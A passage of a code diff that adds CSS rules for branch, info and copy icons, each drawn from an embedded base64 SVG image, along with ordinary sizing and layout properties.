MCAwIDEtMS4xMzU4IDEuMDY2NiAxLjEzNTkgMS4wNjY3IDAgMCAxLTEuMTM1OC0xLjA2NjYgMS4xMzU5IDEuMDY2NyAwIDAgMSAxLjEzNTgtMS4wNjY2eiIgZmlsdGVyPSJ1cmwoI2IpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTYzLjgyOCAxODUuNjljLTAuNDczNzMgMC4wMTAzLTAuNzMyNzEgMC4yOTQzNS0wLjkxOTMyIDAuNjE0NDMtMi40NSA0LjIzMTgtNi4xMjQ5IDEwLjU3OS03LjM0OTkgMTIuNjk1LTAuNjM0NCAxLjMxMjcgMC41ODI3NyAyLjg2OCAxLjAyNjMgMy41OTc3IDAuNTg1MjYgMC43NzY5MSAwLjgwMTk0IDEuMTUzNyAxLjg0NjkgMS44ODE1IDEuMTcxNyAwLjQ2MTY1IDIuMzUwMSAwLjU2MzMzIDIuODA2IDAuNTM0MzQgMC40NTU5MS0wLjAyOSAyLjcyNzEgMC4yNjQ2MyA0LjU0MzktMS4zMzY0IDEuMTMxOC0yLjA5NzEgNC42MjEzLTguNjcxNyA2Ljg4NDktMTIuODY2IDAuMjA1NzctMC4zNzE5NyAwLjY5NTM4LTAuODY1MzItMC4xMzY0Mi0xLjM2NTgtMi44Mjg2LTEuMjQ3My01LjY1NzItMi40OTQ2LTguNDg1OC0zLjc0MTktMC4wNzY4Ni0wLjAxMDQtMC4xNDg4NS0wLjAxNDQtMC4yMTY1My0wLjAxMjl6bS00LjI2MDcgMTUuODg0YTEuMTM1OSAxLjA2NjcgMCAwIDEgMS4xMzU4IDEuMDY2NiAxLjEzNTkgMS4wNjY3IDAgMCAxLTEuMTM1OCAxLjA2NjYgMS4xMzU5IDEuMDY2NyAwIDAgMS0xLjEzNTgtMS4wNjY2IDEuMTM1OSAxLjA2NjcgMCAwIDEgMS4xMzU4LTEuMDY2NnoiIGZpbGw9InVybCgjYSkiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtNjQuOTQxIDE4Ny40OC02Ljc1NjMgMTIuMjM3IiBmaWxsPSJub25lIiBzdHJva2U9IiM1NDAiIHN0cm9rZS1vcGFjaXR5PSIuMTgxODIiIHN0cm9rZS13aWR0aD0iLjI2NSIvPgo8cGF0aCBkPSJtNzAuMzUxIDE4OS44Mi02Ljc1NjMgMTIuNjM5IiBmaWxsPSJub25lIiBzdHJva2U9IiM1NDAiIHN0cm9rZS1vcGFjaXR5PSIuMTgxODIiIHN0cm9rZS13aWR0aD0iLjI2NSIvPgo8cGF0aCBkPSJtNjcuNjgxIDE4OC43MS02Ljc4IDEyLjM1NSIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjNTQwIiBzdHJva2Utb3BhY2l0eT0iLjE4MTgyIiBzdHJva2Utd2lkdGg9Ii4yNjUiLz4KPC9nPgo8L3N2Zz4K");
+	width:0px;
+	height:0px;
+	padding: 0.5em 0.6em 0.5em 0.5em;
+	cursor:pointer;
+	background-repeat: no-repeat;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.branch {
+	display: inline-block;
+	float:left;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAyNi43NDkgMjcuMjIyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPGRlZnM+CjxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDcwOCIgeT0iLS4wNzA4IiB3aWR0aD0iMS4xNDE2IiBoZWlnaHQ9IjEuMTQxNiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4yNTQyNzk1MyIvPgo8L2ZpbHRlcj4KPGZpbHRlciBpZD0iYSIgeD0iLS4wOTA1NjgiIHk9Ii0uMDQ2MjE0IiB3aWR0aD0iMS4xODExIiBoZWlnaHQ9IjEuMDkyNCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC40Nzk4NDA4OSIvPgo8L2ZpbHRlcj4KPC9kZWZzPgo8bWV0YWRhdGE+CjxyZGY6UkRGPgo8Y2M6V29yayByZGY6YWJvdXQ9IiI+CjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0Pgo8ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+CjxkYzp0aXRsZS8+CjwvY2M6V29yaz4KPC9yZGY6UkRGPgo8L21ldGFkYXRhPgo8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtNzAuNzQ3IC02OS40NTQpIj4KPGNpcmNsZSBjeD0iODQuMTIxIiBjeT0iODMuMDIyIiByPSIxMy4zNzQiIGZpbGw9Im5vbmUiLz4KPHBhdGggZD0ibTgzLjc3MyA3MC42MDZjLTEuMTg2MiAwLjAxNTQtMi4zNDE4IDAuODQ2ODgtMi40Nzc0IDEuOTk4OGwtMC4wMTI0IDAuMDQ5MWMtMC4xNDk5IDUuNjExMi0wLjA0NzQgMTEuMjUyLTAuMTExNjIgMTYuODc0IDAuMDU4MSAxLjg3NzctMC40NDMzNyAzLjg0NDEgMC44NjgxNyA1LjIwMTIgMS43NDYyIDEuNzQ0NSA0LjIzMTcgMC40OTM5MyA0LjE0MjQtMi41MTU2IDAuMDQ1NS0wLjkyODQyIDAuMDExNy0xLjQwMiAwLjExMDA3LTMuMjM0OSAxLjUwNTIgMS4xMzQ4IDIuOTYwNCAyLjk5NjYgNC44MTk5IDMuNTIzOCAyLjAzNzEgMC4zMTUyOCAzLjQ3NDgtMi4yMDU1IDIuMzEyLTMuODU1MS0yLjI5OTItMi4yMDI1LTQuODIwMi00LjA1Ny03LjE2Ni02LjIyODYgMC4xMzg5LTMuMyAwLjAxNzYtNi4xNDIgMC4wNDY1LTkuNjA2Ny0wLjQxNDMtMS41OTgtMS40ODQ5LTIuMjE5Ni0yLjUzMTYtMi4yMDYxem0wLjE4NDQ5IDExLjg4M2EyLjA3ODkgMi4wNzg5IDAgMCAxIDIuMDc4OSAyLjA3ODkgMi4wNzg5IDIuMDc4OSAwIDAgMS0yLjA3ODkgMi4wNzkgMi4wNzg5IDIuMDc4OSAwIDAgMS0yLjA3ODQtMi4wNzkgMi4wNzg5IDIuMDc4OSAwIDAgMSAyLjA3ODQtMi4wNzg5eiIgZmlsdGVyPSJ1cmwoI2EpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTgzLjUxOCA3MC4yODNjLTEuMTg2MiAwLjAxNTQtMi4zNDE4IDAuODQ2ODgtMi40Nzc0IDEuOTk4OGwtMC4wMTI0IDAuMDQ5MWMtMC4xNDk5IDUuNjExMi0wLjA0NzQgMTEuMjUyLTAuMTExNjIgMTYuODc0IDAuMDU4MSAxLjg3NzctMC40NDMzNyAzLjg0NDEgMC44NjgxNyA1LjIwMTIgMS43NDYyIDEuNzQ0NSA0LjIzMTcgMC40OTM5MyA0LjE0MjQtMi41MTU2IDAuMDQ1NS0wLjkyODQyIDAuMDExNy0xLjQwMiAwLjExMDA3LTMuMjM0OSAxLjUwNTIgMS4xMzQ4IDIuOTYwNCAyLjk5NjYgNC44MTk5IDMuNTIzOCAyLjAzNzEgMC4zMTUyOCAzLjQ3NDgtMi4yMDU1IDIuMzEyLTMuODU1MS0yLjI5OTItMi4yMDI1LTQuODIwMi00LjA1Ny03LjE2Ni02LjIyODYgMC4xMzg5LTMuMyAwLjAxNzYtNi4xNDIgMC4wNDY1LTkuNjA2Ny0wLjQxNDMtMS41OTgtMS40ODQ5LTIuMjE5Ni0yLjUzMTYtMi4yMDYxem0wLjE4NDQ5IDExLjg4M2EyLjA3ODkgMi4wNzg5IDAgMCAxIDIuMDc4OSAyLjA3ODkgMi4wNzg5IDIuMDc4OSAwIDAgMS0yLjA3ODkgMi4wNzkgMi4wNzg5IDIuMDc4OSAwIDAgMS0yLjA3ODQtMi4wNzkgMi4wNzg5IDIuMDc4OSAwIDAgMSAyLjA3ODQtMi4wNzg5eiIgZmlsbD0iI2ZmZiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im04My43MTYgODAuMThhNC4zMDk3IDQuMzA5NyAwIDAgMC00LjMwOTggNC4zMDk4IDQuMzA5NyA0LjMwOTcgMCAwIDAgNC4zMDk4IDQuMzA5OCA0LjMwOTcgNC4zMDk3IDAgMCAwIDQuMzA5OC00LjMwOTggNC4zMDk3IDQuMzA5NyAwIDAgMC00LjMwOTgtNC4zMDk4em0wLjAzMzYgMi4xMDQ4YTIuMTcxNiAyLjE3MTYgMCAwIDEgMi4xNzE1IDIuMTcxNSAyLjE3MTYgMi4xNzE2IDAgMCAxLTIuMTcxNSAyLjE3MTQgMi4xNzE2IDIuMTcxNiAwIDAgMS0yLjE3MTQtMi4xNzE0IDIuMTcxNiAyLjE3MTYgMCAwIDEgMi4xNzE0LTIuMTcxNXoiIGZpbGw9IiNmZmYiIGZpbHRlcj0idXJsKCNiKSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii41Ii8+CjxwYXRoIGQ9Im04My42NjkgODAuMDYyYTQuMzA5NyA0LjMwOTcgMCAwIDAtNC4zMDk4IDQuMzA5OCA0LjMwOTcgNC4zMDk3IDAgMCAwIDQuMzA5OCA0LjMwOTggNC4zMDk3IDQuMzA5NyAwIDAgMCA0LjMwOTgtNC4zMDk4IDQuMzA5NyA0LjMwOTcgMCAwIDAtNC4zMDk4LTQuMzA5OHptMC4wMzM2IDIuMTA0OGEyLjE3MTYgMi4xNzE2IDAgMCAxIDIuMTcxNSAyLjE3MTQgMi4xNzE2IDIuMTcxNiAwIDAgMS0yLjE3MTUgMi4xNzE0IDIuMTcxNiAyLjE3MTYgMCAwIDEtMi4xNzE0LTIuMTcxNCAyLjE3MTYgMi4xNzE2IDAgMCAxIDIuMTcxNC0yLjE3MTR6IiBmaWxsPSIjZmZmIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjYiLz4KPC9nPgo8L3N2Zz4K");
+	width:0px;
+	height:0px;
+	cursor:pointer;
+	padding: 0.6em;
+	background-repeat: no-repeat;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.info {
+	display: inline-block;
+	float:left;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjwhLS0gQ3JlYXRlZCB3aXRoIElua3NjYXBlIChodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy8pIC0tPgoKPHN2ZwogICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiCiAgIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIKICAgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgogICB4bWxuczpzb2RpcG9kaT0iaHR0cDovL3NvZGlwb2RpLnNvdXJjZWZvcmdlLm5ldC9EVEQvc29kaXBvZGktMC5kdGQiCiAgIHhtbG5zOmlua3NjYXBlPSJodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy9uYW1lc3BhY2VzL2lua3NjYXBlIgogICB2aWV3Qm94PSIwIDAgOS43MDk3NTk3IDkuNzA5MjIwOSIKICAgdmVyc2lvbj0iMS4xIgogICBpZD0ic3ZnNDA3OCIKICAgaW5rc2NhcGU6dmVyc2lvbj0iMC45Mi4zICgyNDA1NTQ2LCAyMDE4LTAzLTExKSIKICAgc29kaXBvZGk6ZG9jbmFtZT0iaW5mby5zdmciPgogIDxkZWZzCiAgICAgaWQ9ImRlZnM0MDcyIj4KICAgIDxmaWx0ZXIKICAgICAgIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIKICAgICAgIHN0eWxlPSJjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM6c1JHQiIKICAgICAgIGlkPSJmaWx0ZXI0MDU2IgogICAgICAgeD0iLTAuMDQwNzk4NzcyIgogICAgICAgd2lkdGg9IjEuMDgxNTk3NCIKICAgICAgIHk9Ii0wLjA0MDgwMTIyNyIKICAgICAgIGhlaWdodD0iMS4wODE2MDI1Ij4KICAgICAgPGZlR2F1c3NpYW5CbHVyCiAgICAgICAgIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIKICAgICAgICAgc3RkRGV2aWF0aW9uPSIwLjE1MjYwODQ5IgogICAgICAgICBpZD0iZmVHYXVzc2lhbkJsdXI0MDU4IiAvPgogICAgPC9maWx0ZXI+CiAgPC9kZWZzPgogIDxzb2RpcG9kaTpuYW1lZHZpZXcKICAgICBpZD0iYmFzZSIKICAgICBwYWdlY29sb3I9IiNmZmZmZmYiCiAgICAgYm9yZGVyY29sb3I9IiM2NjY2NjYiCiAgICAgYm9yZGVyb3BhY2l0eT0iMS4wIgogICAgIGlua3NjYXBlOnBhZ2VvcGFjaXR5PSIwLjAiCiAgICAgaW5rc2NhcGU6cGFnZXNoYWRvdz0iMiIKICAgICBpbmtzY2FwZTp6b29tPSIyMi40IgogICAgIGlua3NjYXBlOmN4PSIzNS40NDI4NDciCiAgICAgaW5rc2NhcGU6Y3k9IjEwLjE1NDAwMiIKICAgICBpbmtzY2FwZTpkb2N1bWVudC11bml0cz0ibW0iCiAgICAgaW5rc2NhcGU6Y3VycmVudC1sYXllcj0ibGF5ZXIxIgogICAgIHNob3dncmlkPSJmYWxzZSIKICAgICBpbmtzY2FwZTp3aW5kb3ctd2lkdGg9IjM4NDAiCiAgICAgaW5rc2NhcGU6d2luZG93LWhlaWdodD0iMjA5NiIKICAgICBpbmtzY2FwZTp3aW5kb3cteD0iMCIKICAgICBpbmtzY2FwZTp3aW5kb3cteT0iMjciCiAgICAgaW5rc2NhcGU6d2luZG93LW1heGltaXplZD0iMSIgLz4KICA8bWV0YWRhdGEKICAgICBpZD0ibWV0YWRhdGE0MDc1Ij4KICAgIDxyZGY6UkRGPgogICAgICA8Y2M6V29yawogICAgICAgICByZGY6YWJvdXQ9IiI+CiAgICAgICAgPGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+CiAgICAgICAgPGRjOnR5cGUKICAgICAgICAgICByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIiAvPgogICAgICAgIDxkYzp0aXRsZSAvPgogICAgICA8L2NjOldvcms+CiAgICA8L3JkZjpSREY+CiAgPC9tZXRhZGF0YT4KICA8ZwogICAgIGlua3NjYXBlOmxhYmVsPSJMYXllciAxIgogICAgIGlua3NjYXBlOmdyb3VwbW9kZT0ibGF5ZXIiCiAgICAgaWQ9ImxheWVyMSIKICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg1NDEuNTgxMDcsMjcxLjc5NTA5KSI+CiAgICA8cGF0aAogICAgICAgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIKICAgICAgIHN0eWxlPSJmaWxsOiMwMDAwMDA7ZmlsbC1vcGFjaXR5OjE7c3Ryb2tlOiM1NTQ0MDA7c3Ryb2tlLXdpZHRoOjAuMDY1O3N0cm9rZS1taXRlcmxpbWl0OjQ7c3Ryb2tlLWRhc2hhcnJheTpub25lO3N0cm9rZS1vcGFjaXR5OjAuMTgxODE4MTc7ZmlsdGVyOnVybCgjZmlsdGVyNDA1NikiCiAgICAgICBkPSJtIC01MzYuNzI2MTgsLTI3MS40Mjg4MyBhIDQuNDg4NDY3Myw0LjQ4ODQ2NzMgMCAwIDAgLTQuNDg4NjMsNC40ODg2IDQuNDg4NDY3Myw0LjQ4ODQ2NzMgMCAwIDAgNC40ODg2Myw0LjQ4ODEgNC40ODg0NjczLDQuNDg4NDY3MyAwIDAgMCA0LjQ4ODYxLC00LjQ4ODEgNC40ODg0NjczLDQuNDg4NDY3MyAwIDAgMCAtNC40ODg2MSwtNC40ODg2IHogbSAwLjQ3OCwxLjIxNjk4IGMgMC4yODU0NiwwIDAuNDkwNCwwLjIyMjc1IDAuNDkwNCwwLjUyNjA0IDAsMC4zNjU3NiAtMC4yNTg3OSwwLjY0MjM2IC0wLjYwNjY2LDAuNjQyMzYgLTAuMzEyMjMsMCAtMC40OTA0MywtMC4xODczOCAtMC40OTA0MywtMC41MDg1MSAwLC0wLjM3NDY1IDAuMjY3NzMsLTAuNjU5ODkgMC42MDY2OSwtMC42NTk4OSB6IG0gLTAuMTYwNzEsMi4wMTU4OCBjIDAuMTMzOCwwIDAuMjIzMjMsMC4xMzM5NiAwLjIyMzIzLDAuMzMwMjMgMCwwLjE3ODM4IC0wLjAzNiwwLjQyNzg4IC0wLjA4MDYsMC41OTczOCBsIC0wLjQ4MTY1LDEuNzQ4NzEgYyAtMC4xMTU5NCwwLjQxOTI1IC0wLjE3ODI4LDAuNzEzNDQgLTAuMTc4MjgsMC44Mjk0MSAwLDAuMDUzNSAwLjA0NDUsMC4wOTgyIDAuMTA2OTcsMC4wOTgyIDAuMDg5MiwwIDAuMjMxOTQsLTAuMDcxNCAwLjU0NDE3LC0wLjI2NzY4IGwgMC4yNDA4LC0wLjE1MTQyIDAuMTA2OTcsMC4yNDk2MSBjIC0wLjA5ODEsMC4wNzEzIC0wLjEzMzY0LDAuMDg5MSAtMC4yNDk1OCwwLjE3ODI3IC0wLjcyMjU4LDAuNTE3NCAtMS4xNDIwNywwLjcyMjQ1IC0xLjQ4MTA2LDAuNzIyNDUgLTAuMTY5NDksMCAtMC4yODUyNSwtMC4xNTE1MyAtMC4yODUyNSwtMC4zODM0NiAwLC0wLjE0MjcyIDAuMDI2NSwtMC4zMzg2NCAwLjA1MzIsLTAuNDYzNTMgbCAwLjUyNjYsLTIuMTUwMjcgYyAwLjA1MzUsLTAuMjMxOSAwLjA3MTMsLTAuMzAzMDIgMC4wNzEzLC0wLjM1NjU1IDAsLTAuMDYyNCAtMC4wMzU5LC0wLjA5ODIgLTAuMDg5NCwtMC4wOTgyIC0wLjA4MDMsMCAtMC40NDU5OCwwLjE3ODQ2IC0wLjYxNTQ3LDAuMzAzMzQgbCAtMC4xOTU4NCwwLjE0MjYxIC0wLjExNjI2LC0wLjIzMjAxIDAuNTYyMjQsLTAuNDE5MSBjIDAuNTQ0MTQsLTAuNDEwMzQgMS4wNzkyMSwtMC42NzggMS4zMzc4OSwtMC42NzggeiIKICAgICAgIGlkPSJwYXRoMzQ3Mi0zIiAvPgogICAgPHBhdGgKICAgICAgIHN0eWxlPSJmaWxsOiNmZmZmZmY7c3Ryb2tlOiMwMDAwMDA7c3Ryb2tlLXdpZHRoOjAuMjY0NTgzMzJweDtzdHJva2UtbGluZWNhcDpidXR0O3N0cm9rZS1saW5lam9pbjptaXRlcjtzdHJva2Utb3BhY2l0eToxIgogICAgICAgZD0ibSAtNTM3LjA0NTM2LC0yNzAuNzQzODkgMS44NTQ0NSwwLjQwMTYgMC4xMDYzMSwzLjQxMzYgLTAuNTc4NzgsMi41ODY3OCAtMS4wMTU4MSwwLjgwMzE5IC0xLjQ1Mjg1LDAuMTUzNTYgYyAwLDAgLTAuOTA5NSwtMS4wMTU4MSAtMC45MDk1LC0xLjA4NjY4IDAsLTAuMDcwOSAtMC4xNTM1NiwtMS40MTc0MSAtMC4xNTM1NiwtMS41MzU1MyAwLC0wLjExODEyIDAuNDI1MjMsLTIuMTg1MTggMC40MjUyMywtMi4xODUxOCBsIDAuODc0MDcsLTAuODE1MDEgeiIKICAgICAgIGlkPSJwYXRoNTM0NCIKICAgICAgIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIC8+CiAgICA8cGF0aAogICAgICAgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIKICAgICAgIHN0eWxlPSJmaWxsOiMyYTdmZmY7ZmlsbC1vcGFjaXR5OjE7c3Ryb2tlOiMwMDAwMDA7c3Ryb2tlLXdpZHRoOjAuMDY1O3N0cm9rZS1taXRlcmxpbWl0OjQ7c3Ryb2tlLWRhc2hhcnJheTpub25lO3N0cm9rZS1vcGFjaXR5OjAuMTgxODE4MTciCiAgICAgICBkPSJtIC01MzYuODE0NzcsLTI3MS41MjM2NSBhIDQuNDg4NDY3Myw0LjQ4ODQ2NzMgMCAwIDAgLTQuNDg4NjMsNC40ODg2IDQuNDg4NDY3Myw0LjQ4ODQ2NzMgMCAwIDAgNC40ODg2Myw0LjQ4ODEgNC40ODg0NjczLDQuNDg4NDY3MyAwIDAgMCA0LjQ4ODYsLTQuNDg4MSA0LjQ4ODQ2NzMsNC40ODg0NjczIDAgMCAwIC00LjQ4ODYsLTQuNDg4NiB6IG0gMC40Nzc5OSwxLjIxNjk3IGMgMC4yODU0NiwwIDAuNDkwNDEsMC4yMjI3NiAwLjQ5MDQxLDAuNTI2MDUgMCwwLjM2NTc2IC0wLjI1ODc5LDAuNjQyMzUgLTAuNjA2NjYsMC42NDIzNSAtMC4zMTIyNCwwIC0wLjQ5MDQ0LC0wLjE4NzM3IC0wLjQ5MDQ0LC0wLjUwODUgMCwtMC4zNzQ2NSAwLjI2Nzc0LC0wLjY1OTkgMC42MDY2OSwtMC42NTk5IHogbSAtMC4xNjA3LDIuMDE1ODkgYyAwLjEzMzc5LDAgMC4yMjMyMiwwLjEzMzk2IDAuMjIzMjIsMC4zMzAyMyAwLDAuMTc4MzggLTAuMDM2LDAuNDI3ODggLTAuMDgwNiwwLjU5NzM3IGwgLTAuNDgxNjUsMS43NDg3MSBjIC0wLjExNTk0LDAuNDE5MjYgLTAuMTc4MjcsMC43MTM0NSAtMC4xNzgyNywwLjgyOTQyIDAsMC4wNTM1IDAuMDQ0NSwwLjA5ODIgMC4xMDY5NywwLjA5ODIgMC4wODkyLDAgMC4yMzE5MywtMC4wNzE0IDAuNTQ0MTcsLTAuMjY3NjggbCAwLjI0MDgsLTAuMTUxNDIgMC4xMDY5NywwLjI0OTYxIGMgLTAuMDk4MSwwLjA3MTMgLTAuMTMzNjQsMC4wODkxIC0wLjI0OTU5LDAuMTc4MjcgLTAuNzIyNTcsMC41MTczOSAtMS4xNDIwNywwLjcyMjQ1IC0xLjQ4MTA1LDAuNzIyNDUgLTAuMTY5NSwwIC0wLjI4NTI1LC0wLjE1MTUzIC0wLjI4NTI1LC0wLjM4MzQ2IDAsLTAuMTQyNzIgMC4wMjY1LC0wLjMzODY0IDAuMDUzMiwtMC40NjM1MyBsIDAuNTI2NiwtMi4xNTAyNyBjIDAuMDUzNSwtMC4yMzE5IDAuMDcxMywtMC4zMDMwMiAwLjA3MTMsLTAuMzU2NTUgMCwtMC4wNjI0IC0wLjAzNTksLTAuMDk4MiAtMC4wODk0LC0wLjA5ODIgLTAuMDgwMywwIC0wLjQ0NTk4LDAuMTc4NDcgLTAuNjE1NDcsMC4zMDMzNSBsIC0wLjE5NTg1LDAuMTQyNjEgLTAuMTE2MjYsLTAuMjMyMDEgMC41NjIyNCwtMC40MTkxIGMgMC41NDQxNSwtMC40MTAzNSAxLjA3OTIxLC0wLjY3OCAxLjMzNzksLTAuNjc4IHoiCiAgICAgICBpZD0icGF0aDM0NzIiIC8+CiAgPC9nPgo8L3N2Zz4=");
+	width:0px;
+	height:0px;
+	cursor:pointer;
+	padding:0.6em;
+	background-repeat: no-repeat;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.copy {
+	display: inline-block;
+	float:left;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA1Ljc2MjIgOC4wMDkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6Y2M9Imh0dHA6Ly9jcmVhdGl2ZWNvbW1vbnMub3JnL25zIyIgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgo8ZGVmcz4KPGZpbHRlciBpZD0iYSIgeD0iLS4wNDA3OTkiIHk9Ii0uMDQwODAxIiB3aWR0aD0iMS4wODE2IiBoZWlnaHQ9IjEuMDgxNiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4xNTI2MDg0OSIvPgo8L2ZpbHRlcj4KPGZpbHRlciBpZD0iYiIgeD0iLS4wODg0ODciIHk9Ii0uMDY0NzcyIiB3aWR0aD0iMS4xNzciIGhlaWdodD0iMS4xMjk1IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgo8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjE1NjQzNDcyIi8+CjwvZmlsdGVyPgo8ZmlsdGVyIGlkPSJjIiB4PSItLjA4ODQ4NyIgeT0iLS4wNjQ3NzIiIHdpZHRoPSIxLjE3NyIgaGVpZ2h0PSIxLjEyOTUiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CjxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuMTU2NDM0NzIiLz4KPC9maWx0ZXI+CjwvZGVmcz4KPG1ldGFkYXRhPgo8cmRmOlJERj4KPGNjOldvcmsgcmRmOmFib3V0PSIiPgo8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KPGRjOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIvPgo8ZGM6dGl0bGUvPgo8L2NjOldvcms+CjwvcmRmOlJERj4KPC9tZXRhZGF0YT4KPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTUyMi41MSAtNzE1LjU3KSI+CjxwYXRoIGQ9Im0tNTM2LjczLTI3MS40M2E0LjQ4ODUgNC40ODg1IDAgMCAwLTQuNDg4NiA0LjQ4ODYgNC40ODg1IDQuNDg4NSAwIDAgMCA0LjQ4ODYgNC40ODgxIDQuNDg4NSA0LjQ4ODUgMCAwIDAgNC40ODg2LTQuNDg4MSA0LjQ4ODUgNC40ODg1IDAgMCAwLTQuNDg4Ni00LjQ4ODZ6bTAuNDc4IDEuMjE3YzAuMjg1NDYgMCAwLjQ5MDQgMC4yMjI3NSAwLjQ5MDQgMC41MjYwNCAwIDAuMzY1NzYtMC4yNTg3OSAwLjY0MjM2LTAuNjA2NjYgMC42NDIzNi0wLjMxMjIzIDAtMC40OTA0My0wLjE4NzM4LTAuNDkwNDMtMC41MDg1MSAwLTAuMzc0NjUgMC4yNjc3My0wLjY1OTg5IDAuNjA2NjktMC42NTk4OXptLTAuMTYwNzEgMi4wMTU5YzAuMTMzOCAwIDAuMjIzMjMgMC4xMzM5NiAwLjIyMzIzIDAuMzMwMjMgMCAwLjE3ODM4LTAuMDM2IDAuNDI3ODgtMC4wODA2IDAuNTk3MzhsLTAuNDgxNjUgMS43NDg3Yy0wLjExNTk0IDAuNDE5MjUtMC4xNzgyOCAwLjcxMzQ0LTAuMTc4MjggMC44Mjk0MSAwIDAuMDUzNSAwLjA0NDUgMC4wOTgyIDAuMTA2OTcgMC4wOTgyIDAuMDg5MiAwIDAuMjMxOTQtMC4wNzE0IDAuNTQ0MTctMC4yNjc2OGwwLjI0MDgtMC4xNTE0MiAwLjEwNjk3IDAuMjQ5NjFjLTAuMDk4MSAwLjA3MTMtMC4xMzM2NCAwLjA4OTEtMC4yNDk1OCAwLjE3ODI3LTAuNzIyNTggMC41MTc0LTEuMTQyMSAwLjcyMjQ1LTEuNDgxMSAwLjcyMjQ1LTAuMTY5NDkgMC0wLjI4NTI1LTAuMTUxNTMtMC4yODUyNS0wLjM4MzQ2IDAtMC4xNDI3MiAwLjAyNjUtMC4zMzg2NCAwLjA1MzItMC40NjM1M2wwLjUyNjYtMi4xNTAzYzAuMDUzNS0wLjIzMTkgMC4wNzEzLTAuMzAzMDIgMC4wNzEzLTAuMzU2NTUgMC0wLjA2MjQtMC4wMzU5LTAuMDk4Mi0wLjA4OTQtMC4wOTgyLTAuMDgwMy